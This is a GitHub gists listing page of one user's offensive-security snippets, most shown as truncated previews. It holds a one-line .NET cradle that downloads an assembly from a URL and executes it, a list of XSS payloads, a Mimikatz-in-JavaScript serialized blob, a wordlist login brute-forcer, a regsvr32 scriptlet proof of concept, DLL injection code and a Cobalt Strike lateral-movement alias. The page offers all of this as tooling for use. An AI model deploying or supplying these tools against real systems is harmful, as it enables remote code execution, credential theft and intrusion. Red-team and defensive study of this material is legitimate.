dave5623’s gists

dave5623 / DotnetAssemblyDownloadCradle.cs

Created June 21, 2018 14:05 — forked from cobbr/DotnetAssemblyDownloadCradle.cs

A download cradle for .NET assemblies.

public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }

dave5623 / dllinjection.cs

Created April 2, 2018 14:30

Attempt at DLL injection with C#

	using System;
	using System.Diagnostics;
	using System.Runtime.ConstrainedExecution;
	using System.Runtime.InteropServices;
	using System.Security;
	using System.Text;

	namespace ch1_hello_world
	{
	public class BasicInject

dave5623 / Inject.cs

Created March 21, 2018 05:10

DotNetToJScript Build Walkthrough

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Text;

	public class TestClass
	{

	public TestClass()
	{}

dave5623 / xss.txt

Created January 31, 2018 21:44

Xss Cheat Sheet from https://gbhackers.com/top-500-important-xss-cheat-sheet/

	<body oninput=javascript:alert(1)><input autofocus>
	<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
	<frameset onload=javascript:alert(1)>
	<table background="javascript:javascript:alert(1)">
	<!--<img src="--><img src=x onerror=javascript:alert(1)//">
	<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
	<![><img src="]><img src=x onerror=javascript:alert(1)//">
	<style><img src="</style><img src=x onerror=javascript:alert(1)//">
	<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
	<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>

dave5623 / Screenshot.cpp

Last active June 27, 2017 03:31

JPEG Screenshot RDLL

	// Screenshot.cpp : Defines the exported functions for the DLL application.
	//

	// Taken from https://gist.github.com/ebonwheeler/3865787
	// Add gdiplus.lib as a Linker > Input > Additional Dependencies

	#include "stdafx.h"

	#include <iostream>
	#include <Windows.h>

dave5623 / katz.js

Created April 29, 2017 02:57

Mimikatz in JS - Courtesy of James Forshaw - https://github.com/tyranid/DotNetToJScript ;-)

This file has been truncated, but you can view the full file.


	var serialized_obj = [
	0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
	101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
	101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
	68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
	103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
	122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
	101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,

dave5623 / form_login.py

Created April 14, 2017 20:23

	import requests

	with open("/root/wordlist.txt", "r") as wl:
	for word in wl.readlines():
	word = word.rstrip()
	payload = {
	"login": word,
	"password": word
	}

dave5623 / relay.py

Created March 1, 2017 21:16 — forked from leolee192/relay.py

tcp relay

	#!/usr/bin/python

	import logging
	import socket
	from threading import Thread


	class PipeThread(Thread):
	pipes = []

dave5623 / example.sct

Created January 18, 2017 04:37

SCT File Obfuscation Examples:

	<?XML version="1.0"?>
	<scriptlet>
	<registration
	progid="PoC"
	classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!-- License: BSD3-Clause -->
	<script language="JScript">
	<![CDATA[
	//x86 only. C:\Windows\Syswow64\regsvr32.exe /s /u /i:file.sct scrobj.dll

dave5623 / comexec.cna

Created January 11, 2017 18:02 — forked from rsmudge/comexec.cna

Lateral Movement with the MMC20.Application COM Object (Aggressor Script Alias)

	# Lateral Movement alias
	# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

	# register help for our alias
	beacon_command_register("com-exec", "lateral movement with DCOM",
	"Synopsis: com-exec [target] [listener]\n\n" .
	"Run a payload on a target via DCOM MMC20.Application Object");

	# here's our alias to collect our arguments
	alias com-exec {